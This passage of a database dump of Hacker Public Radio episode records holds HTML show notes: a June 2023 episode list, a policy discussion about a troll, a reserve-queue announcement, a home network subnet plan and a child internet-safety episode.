Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3872/index.html\" target=\"_blank\">3872</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-06-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3872/index.html\" target=\"_blank\">Sgoti update with replies.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3873/index.html\" target=\"_blank\">3873</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-06-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3873/index.html\" target=\"_blank\">Nextcloud instance updating</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0273.html\" target=\"_blank\">ToeJet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3874/index.html\" target=\"_blank\">3874</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-06-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3874/index.html\" target=\"_blank\">2022-2023 New Years Show Episode 9</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3875/index.html\" target=\"_blank\">3875</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-06-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3875/index.html\" target=\"_blank\">Parlons Linux Season 1 Episode 7, le sticky bit</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3876/index.html\" target=\"_blank\">3876</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-06-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3876/index.html\" target=\"_blank\">Recording An Episode For Hacker Public Radio</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0419.html\" target=\"_blank\">Ryuno-Ki</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3877/index.html\" target=\"_blank\">3877</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-06-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3877/index.html\" target=\"_blank\">KeePass X.C. audit review.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3878/index.html\" target=\"_blank\">3878</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-06-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3878/index.html\" target=\"_blank\">Linux commands to gather information about your system</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0129.html\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3879/index.html\" target=\"_blank\">3879</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-06-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3879/index.html\" target=\"_blank\">HPR at Hillend</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3880/index.html\" target=\"_blank\">3880</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-06-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3880/index.html\" target=\"_blank\">Installing a Google Nest Thermostat</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3881/index.html\" target=\"_blank\">3881</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-06-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3881/index.html\" target=\"_blank\">Xplane_VatSim_2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3882/index.html\" target=\"_blank\">3882</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-06-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3882/index.html\" target=\"_blank\">Alternatives to the cd command</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3883/index.html\" target=\"_blank\">3883</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-06-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3883/index.html\" target=\"_blank\">Emergency Show: How to demonstrate the power of condensing steam</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0282.html\" target=\"_blank\">Mike Ray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3884/index.html\" target=\"_blank\">3884</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-06-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3884/index.html\" target=\"_blank\">2022-2023 New Years Show Episode 10</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3885/index.html\" target=\"_blank\">3885</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-06-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3885/index.html\" target=\"_blank\">L\'apéro des Papas Manchots podcast, Rencontre avec le vétérinaire du Libre</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3886/index.html\" target=\"_blank\">3886</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-06-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3886/index.html\" target=\"_blank\">light saber zzz ohh no!</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3887/index.html\" target=\"_blank\">3887</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-06-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3887/index.html\" target=\"_blank\">10 must-know commands for a new cloud admin</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3888/index.html\" target=\"_blank\">3888</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-06-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3888/index.html\" target=\"_blank\">KeePassXC recent CVE</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3889/index.html\" target=\"_blank\">3889</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-06-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3889/index.html\" target=\"_blank\">comm - compare two sorted files line by line</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3890/index.html\" target=\"_blank\">3890</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-06-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3890/index.html\" target=\"_blank\">Lessons Learned</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 6 comments in total.</p>\n\n<h3>This month\'s shows</h3>\n<p>There are 6 comments on 6 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3871/index.html#comments\" target=\"_blank\">hpr3871</a></strong>\n(2023-06-05) \"<em>HPR Community News for May 2023</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3871/index.html#1\" target=\"_blank\">Comment 1</a>:\nMechatroniac on 2023-06-10:\n\"hpr3816\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3872/index.html#comments\" target=\"_blank\">hpr3872</a></strong>\n(2023-06-06) \"<em>Sgoti update with replies.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3872/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-06-08:\n\"I\'m glad you are enjoying my shows\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3878/index.html#comments\" target=\"_blank\">hpr3878</a></strong>\n(2023-06-14) \"<em>Linux commands to gather information about your system</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0129.html\" target=\"_blank\">JWP</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3878/index.html#1\" target=\"_blank\">Comment 1</a>:\nfoky on 2023-06-15:\n\"one command to get them all\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3879/index.html#comments\" target=\"_blank\">hpr3879</a></strong>\n(2023-06-15) \"<em>HPR at Hillend</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3879/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-06-22:\n\"Dr. Campbell\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3880/index.html#comments\" target=\"_blank\">hpr3880</a></strong>\n(2023-06-16) \"<em>Installing a Google Nest Thermostat</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3880/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-06-22:\n\"Addendum\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3884/index.html#comments\" target=\"_blank\">hpr3884</a></strong>\n(2023-06-22) \"<em>2022-2023 New Years Show Episode 10</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3884/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-06-24:\n\"PIN Story\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-June/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-June/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h2 id=\"relocation-of-the-hpr-site\">Relocation of the HPR site</h2>\n<p>A lot of work has gone into relocating HPR to a new server as well as\nmigrating to a static site. There is still work to do.</p>\n<ul>\n<li>The main database has been moved from\n<code>anhonesthost.com</code></li>\n<li>The static site generator written by <code>Rho`n</code> is being\nused to generate the entire new website (with a few exceptions).</li>\n<li>The remaining dynamic features (e.g. show submission and comment\nentry) are provided by a PHP interface</li>\n<li>There are outstanding issues with email on the server so at the\nmoment show submission needs manual intervention from the Janitors.</li>\n<li>The <code>hpr</code> mailing list is not working at present</li>\n<li>The way in which new shows are processed has had to be changed and\nshows containing pictures are not yet being rendered properly</li>\n</ul>\n<!--\nvim: syntax=pandoc:ts=8:sw=4:tw=0:noet:ai:\n-->\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3615,'2022-06-10','I am a troll and I\'m trolling HPR, trolling HPR, trolling HPR.',1608,'We got trolled and what we\'re going to do about it.','<p>In today\'s show Dave and I will read out the mail list thread we didn\'t cover in the Community News.</p>\n<p>Before we get to that, I wanted to inform you that we now know that the host in question was deliberately trolling HPR.</p>\n<p>I know this because they told me, and when I asked them to stop they went on to explain that they are a gadfly. I had to look that one up.</p>\n<p>Whatever they claim to be, the end effect for us is trolling.</p>\n<p>Both Josh and Myself have had some unnecessary stressful weeks for someone\'s idea of a joke.</p>\n<p>That said there have been some positives about this as well.</p>\n<p>Again we see the HPR community at its best in providing support and reasoned arguments.</p>\n<p>We have identified a possible loop hole in governance, that has been addressed by having a special advisory committee aka the auditor team of volunteers.</p>\n<p>And when we come up with a way of dealing with troll issues, we also get a mechanism to deal with DMCA take down requests, and other complaints.</p>\n<p>So what do we do with a troll ? Easy, just ignore them, or to put it another way \"Stay Calm and Go On\".</p>\n<p>This works well for comments but its not enough when the tactic is deliberate targeting of HPR.</p>\n<p>A lot of effort has gone into this attack:</p>\n<ul>\n<li>First they built trust by posting technical shows. This is a similar tactic that we see spammers use.</li>\n<li>Then they submitted a series of shows that would cause HPR legal issues.</li>\n<li>They then did not respond to questions, presumably in the hope that we would delete the shows ourselves.</li>\n</ul>\n<p>By moving the shows out to later in the queue we were able to avoid claims of \"censorship\", and they eventually removed the problem shows of their own accord.</p>\n<p>So what attack vector will be used next, and how will we deal with it ?</p>\n<p>I have no idea, but how to deal with it is also not so easy. We\'ll have to cross that bridge when we come to it.</p>\n<p>We do however need to tackle the risky situation of having problem content available on the website.</p>\n<p>So I suggest that we continue to post the shows as normal, if we get a complaint then the Janitors will contact the host as normal.</p>\n<p>Should they be unavailable, uncooperative, or disagree, then the Janitors can either move the show to the backup queue, or hide it depending on the severity of the complaint.</p>\n<p>In all cases we\'ll keep the special advisory committee aka the auditor team of volunteers in the loop to make sure all is above board.</p>\n<p>The community can then decide on the best course of action.</p>\n<p>So therefore I would like to propose the following changes to our policies.</p>\n<p>Both relate to <a href=\"https://hackerpublicradio.org/stuff_you_need_to_know.php#not_moderated\" class=\"uri\">https://hackerpublicradio.org/stuff_you_need_to_know.php#not_moderated</a></p>\n<p>Currently: \"We do not vet, edit, moderate or in any way censor any of the audio you submit, we trust you to do that.\"</p>\n<p>Proposed: \"We do not vet, edit, moderate or in any way censor any of the audio you submit, we trust you not to upload anything that will harm HPR.\"</p>\n<p>Add the line: \"Any material that is reported as harming HPR may be unlisted until such a time as the situation can be resolved.\"</p>\n',30,0,1,'CC-BY-SA','troll, policy change',0,0,1),
(3616,'2022-06-13','Filling free Slots from the Reserve Queue',899,'You can now submit shows to the Reserve Queue for when free slots are not filled on time.','<p>\nIn today\'s show the Janitors discuss how the erratic feast/famine nature of the queue may be helped by filling free slots in the main feed from a reserve queue.\n</p>\n<p>\nThe current Emergency Queue would be renamed to the Reserve Queue.<br />\nIf a free slot in the calendar is not filled in time, then a show will be used from the Reserve Queue.<br />\nShows will be taken from the Reserve Queue on a first in first out basis.<br />\nHosts can either schedule a show for a particular slot or have their shows added to the Reserve Queue.<br />\nEventually we will we work on a dedicated upload option, but for now hosts can pick a random slot and just make a note in the show notes that the show is intended for the Reserve Queue.<br />\n</p>\n',225,0,1,'CC-BY-SA','HPR Scheduling, Queue, Reserve Queue',0,0,1),
(3622,'2022-06-21','My Network Setup.',1355,'How I\'ve Constructed My Home Network.','<h1 id=\"sgotis-network-documentation\">Sgoti\'s Network Documentation.</h1>\n<h2 id=\"device-list\">Device List.</h2>\n<ul>\n<li>Device01, <a href=\"https://www.amazon.com/gp/product/B08QTXNWZ1/ref=ppx_yo_dt_b_asin_title_o03_s00?ie=UTF8&amp;psc=1\">TP-Link ER605</a></li>\n<li>Device02, <a href=\"https://www.amazon.com/gp/product/B0141JX92G/ref=ppx_yo_dt_b_asin_title_o03_s00?ie=UTF8&amp;psc=1\">TP-Link TL-SG2210P V3</a></li>\n<li>Device03, <a href=\"https://www.amazon.com/gp/product/B08PW34WPX/ref=ppx_yo_dt_b_asin_title_o03_s00?ie=UTF8&amp;psc=1\">TP-Link EAP660 HD</a></li>\n<li>Device04, <a href=\"https://www.amazon.com/gp/product/B07GX6GVB6/ref=ppx_yo_dt_b_asin_title_o03_s00?ie=UTF8&amp;psc=1\">TP-Link Omada Hardware Controller</a></li>\n</ul>\n<h2 id=\"client-list\">Client List.</h2>\n<ul>\n<li>Client01, SGOTI\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n<li>Client02, SGOTI\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n<li>Client03, SGOTI\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n<li>Client04, USER\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n<li>Client05, USER\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n<li>Client06, USER\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n<li>Client07, USER\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n<li>Client08, USER\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n</ul>\n<h2 id=\"server-list\">Server List.</h2>\n<ul>\n<li>Server01, SGOTI@HQBAK\n<ul>\n<li>AMD x86 FX w/ 1 SATA III 2.5\" Seagate 240Gig</li>\n<li>2 SATA III 3.5\" Western Digital Red 8TB</li>\n</ul></li>\n<li>Server02, NASPi\n<ul>\n<li>Pi4 model B, 8Gig, Geekworm NASPi w/ SATA III 2.5\" 1TB</li>\n</ul></li>\n<li>Server03, ArgonOne\n<ul>\n<li>Pi4 model B, 8Gig, ArgonOne w/ m.2 Western Digital Blue 500Gig</li>\n</ul></li>\n<li>Server04, DEVPi\n<ul>\n<li>Pi4 model B, 4Gig</li>\n</ul></li>\n<li>Server05, ZeroHero01\n<ul>\n<li>Pi Zero 2 W w/ microSD 128Gig</li>\n</ul></li>\n</ul>\n<h2 id=\"lan\">LAN.</h2>\n<ul>\n<li>VLAN: NUMBERS</li>\n<li>IP Block: 192.168.0.1/24</li>\n<li>Subnet Mask: 255.255.255.0</li>\n<li>Gateway: 192.168.0.1</li>\n<li>Broadcast: 192.168.0.255</li>\n<li>Group01: DEVICES\n<ul>\n<li>192.168.0.02, Device02</li>\n<li>192.168.0.03, Device03</li>\n<li>192.168.0.04, Device04</li>\n<li>192.168.0.05</li>\n<li>192.168.0.06</li>\n<li>192.168.0.07</li>\n<li>192.168.0.08</li>\n<li>192.168.0.09</li>\n</ul></li>\n<li>Group02: SGOTI\n<ul>\n<li>192.168.0.10, Client01</li>\n<li>192.168.0.11</li>\n</ul></li>\n<li>Group03: DHCP\n<ul>\n<li>192.168.0.12</li>\n<li>192.168.0.13</li>\n<li>192.168.0.14</li>\n<li>192.168.0.15</li>\n</ul></li>\n</ul>\n<h2 id=\"resistance-network\">Resistance Network.</h2>\n<ul>\n<li>VLAN: NUMBERS</li>\n<li>IP Block: 192.168.2.1/27</li>\n<li>Subnet Mask: 255.255.255.224</li>\n<li>Gateway: 192.168.2.1</li>\n<li>Broadcast: 192.168.2.31</li>\n<li>Group01: SGOTI\n<ul>\n<li>192.168.2.02</li>\n<li>192.168.2.03</li>\n<li>192.168.2.04</li>\n<li>192.168.2.05</li>\n<li>192.168.2.06</li>\n</ul></li>\n<li>Group02: USER\n<ul>\n<li>192.168.2.07</li>\n<li>192.168.2.08</li>\n<li>192.168.2.09</li>\n<li>192.168.2.10</li>\n<li>192.168.2.11</li>\n</ul></li>\n<li>Group03: USER\n<ul>\n<li>192.168.2.12</li>\n<li>192.168.2.13</li>\n<li>192.168.2.14</li>\n<li>192.168.2.15</li>\n<li>192.168.2.16</li>\n</ul></li>\n<li>Group04: USER\n<ul>\n<li>192.168.2.17</li>\n<li>192.168.2.18</li>\n<li>192.168.2.19</li>\n<li>192.168.2.20</li>\n<li>192.168.2.21</li>\n</ul></li>\n<li>Group04: SERVERS\n<ul>\n<li>192.168.2.22</li>\n<li>192.168.2.23</li>\n<li>192.168.2.24</li>\n<li>192.168.2.25</li>\n<li>192.168.2.26</li>\n</ul></li>\n<li>Group05: DHCP\n<ul>\n<li>192.168.2.27</li>\n<li>192.168.2.28</li>\n<li>192.168.2.29</li>\n<li>192.168.2.30</li>\n</ul></li>\n</ul>\n<h2 id=\"t100-network\">T100 Network.</h2>\n<ul>\n<li>VLAN: NUMBERS</li>\n<li>IP Block: 192.168.3.1/27</li>\n<li>Subnet Mask: 255.255.255.224</li>\n<li>Gateway: 192.168.3.1</li>\n<li>Broadcast: 192.168.3.31</li>\n<li>Group01: SGOTI\n<ul>\n<li>192.168.3.02</li>\n<li>192.168.3.03</li>\n<li>192.168.3.04</li>\n<li>192.168.3.05</li>\n<li>192.168.3.06</li>\n</ul></li>\n<li>Group02: SERVERS\n<ul>\n<li>192.168.3.07</li>\n<li>192.168.3.08</li>\n<li>192.168.3.09</li>\n<li>192.168.3.10</li>\n<li>192.168.3.11</li>\n</ul></li>\n<li>Group03: DHCP\n<ul>\n<li>192.168.3.12</li>\n<li>192.168.3.13</li>\n<li>192.168.3.14</li>\n<li>192.168.3.15</li>\n<li>192.168.3.16</li>\n<li>192.168.3.17</li>\n<li>192.168.3.18</li>\n<li>192.168.3.19</li>\n<li>192.168.3.20</li>\n<li>192.168.3.21</li>\n<li>192.168.3.22</li>\n<li>192.168.3.23</li>\n<li>192.168.3.24</li>\n<li>192.168.3.25</li>\n<li>192.168.3.26</li>\n<li>192.168.3.27</li>\n<li>192.168.3.28</li>\n<li>192.168.3.29</li>\n<li>192.168.3.30</li>\n</ul></li>\n</ul>\n<h2 id=\"t1000-network\">T1000 Network.</h2>\n<ul>\n<li>VLAN: NUMBERS</li>\n<li>IP Block: 192.168.4.1/27</li>\n<li>Subnet Mask: 255.255.255.224</li>\n<li>Gateway: 192.168.4.1</li>\n<li>Broadcast: 192.168.4.31</li>\n<li>Group01: SGOTI\n<ul>\n<li>192.168.4.02</li>\n<li>192.168.4.03</li>\n<li>192.168.4.04</li>\n<li>192.168.4.05</li>\n<li>192.168.4.06</li>\n</ul></li>\n<li>Group02: SERVERS\n<ul>\n<li>192.168.4.07</li>\n<li>192.168.4.08</li>\n<li>192.168.4.09</li>\n<li>192.168.4.10</li>\n<li>192.168.4.11</li>\n</ul></li>\n<li>Group03: DHCP\n<ul>\n<li>192.168.4.12</li>\n<li>192.168.4.13</li>\n<li>192.168.4.14</li>\n<li>192.168.4.15</li>\n<li>192.168.4.16</li>\n<li>192.168.4.17</li>\n<li>192.168.4.18</li>\n<li>192.168.4.19</li>\n<li>192.168.4.20</li>\n<li>192.168.4.21</li>\n<li>192.168.4.22</li>\n<li>192.168.4.23</li>\n<li>192.168.4.24</li>\n<li>192.168.4.25</li>\n<li>192.168.4.26</li>\n<li>192.168.4.27</li>\n<li>192.168.4.28</li>\n<li>192.168.4.29</li>\n<li>192.168.4.30</li>\n</ul></li>\n</ul>\n<h2 id=\"skynet-network\">Skynet Network.</h2>\n<ul>\n<li>VLAN: NUMBERS</li>\n<li>IP Block: 192.168.5.1/28</li>\n<li>Subnet Mask: 255.255.255.240</li>\n<li>Gateway: 192.168.5.1</li>\n<li>Broadcast: 192.168.5.15</li>\n<li>Group01: SGOTI\n<ul>\n<li>192.168.5.02</li>\n<li>192.168.5.03</li>\n<li>192.168.5.04</li>\n<li>192.168.5.05</li>\n<li>192.168.5.06</li>\n</ul></li>\n<li>Group02: SERVERS\n<ul>\n<li>192.168.5.07</li>\n<li>192.168.5.08</li>\n<li>192.168.5.09</li>\n<li>192.168.5.10</li>\n<li>192.168.5.11</li>\n</ul></li>\n<li>Group03: DHCP\n<ul>\n<li>192.168.5.12</li>\n<li>192.168.5.13</li>\n<li>192.168.5.14</li>\n</ul></li>\n</ul>\n',391,61,0,'CC-BY-SA','Networking, TP-Link Omada, Subnetting',0,0,1),
(3623,'2022-06-22','Internet Security - Child Edition',2487,'I have a discussion about Internet security with R. Brady Frost along with our sons','<p>The stuff Evil Steve doesn\'t want you to know with Lurking Prion. This is Season 1, Episode 8.</p>\n<p>In this episode, I have a discussion about Internet security with special guest and author, R. Brady Frost along with his son and mine. The discussion revolves around how our kids view Internet security and we discuss dangers they hadn\'t considered.</p>\n<h2 id=\"pics-of-the-week\">Pics of the week:</h2>\n<ul>\n<li><p>Hackers (The Movie)<br />\n<a href=\"https://www.imdb.com/title/tt0113243/?ref_=fn_al_tt_1\" class=\"uri\">https://www.imdb.com/title/tt0113243/?ref_=fn_al_tt_1</a></p></li>\n<li><p>Our Flag Means Death<br />\n<a href=\"https://www.imdb.com/title/tt11000902/\" class=\"uri\">https://www.imdb.com/title/tt11000902/</a></p></li>\n<li><p>R. Brady Frost<br />\n<a href=\"https://www.rbradyfrost.com/\" class=\"uri\">https://www.rbradyfrost.com/</a><br />\n<a href=\"https://www.rbradyfrost.com/blog/category/a-battle-mage-reborn/\" class=\"uri\">https://www.rbradyfrost.com/blog/category/a-battle-mage-reborn/</a></p></li>\n</ul>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><p>Has your password been involved in a breach?<br />\n<a href=\"https://haveibeenpwned.com/\" class=\"uri\">https://haveibeenpwned.com/</a></p></li>\n<li><p>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></p></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,breach,data reduction,privacy',0,0,1),
(3649,'2022-07-28','Linux Inlaws S01E61: 20 years in review',4319,'The last 20 years in review','<hr />\r\n<h3>Counter Point</h3>\r\n<p>A counter point to this show is available: <a href=\"https://hackerpublicradio.org/eps.php?id=3648\">hpr3648 :: A response to tomorrows show</a>\r\n</p>\r\n<hr />\r\n<p>In this episode, Martin and Chris take a closer look at twenty years of Linux Inlaws\r\nhistory. Why, you may ask, given the fact that this podcast has only been in existence\r\nfor roughly over two years, are we reviewing this history? The answer - of course - is\r\nstraight forward: by sheer coincidence our two heroes got hold of a future episode\r\nwhich traveled back in time from the future. If you ever wondered about time-travel,\r\nthe paradoxes associated with this and what the next twenty years have in store not\r\njust from a Linux Inlaws perspective, this episode is for you.</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>DeLorean: <a href=\"https://en.wikipedia.org/wiki/DMC_DeLorean#Back_to_the_Future\" target=_blank>https://en.wikipedia.org/wiki/DMC_DeLorean#Back_to_the_Future</a></li>\r\n<li>Time-travel: <a href=\"https://en.wikipedia.org/wiki/Closed_timelike_curve\" target=_blank>https://en.wikipedia.org/wiki/Closed_timelike_curve</a></li>\r\n<li>Timespace: <a href=\"https://en.wikipedia.org/wiki/Spacetime\" target=_blank>https://en.wikipedia.org/wiki/Spacetime</a></li>\r\n<li>Altered Carbon: <a href=\"https://www.imdb.com/title/tt2261227\" target=_blank>https://www.imdb.com/title/tt2261227</a></li>\r\n<li>Linux Outlaws: <a href=\"https://en.wikipedia.org/wiki/Linux_Outlaws\" target=_blank>https://en.wikipedia.org/wiki/Linux_Outlaws</a></li>\r\n<li>The Inlaws @ YouTube: <a href=\"https://www.youtube.com/channel/UC1j_uaAbB3magzPs4Z0Y-mg\" target=_blank>https://www.youtube.com/channel/UC1j_uaAbB3magzPs4Z0Y-mg</a></li>\r\n<li>Timetravel with a DeLorean: <a href=\"https://www.backtothefuture.com\" target=_blank>https://www.backtothefuture.com</a></li>\r\n<li>D-Wave SPAC: <a href=\"https://www.datacenterdynamics.com/en/news/quantum-computing-firm-d-wave-to-ipo-via-16bn-spac-merger\" 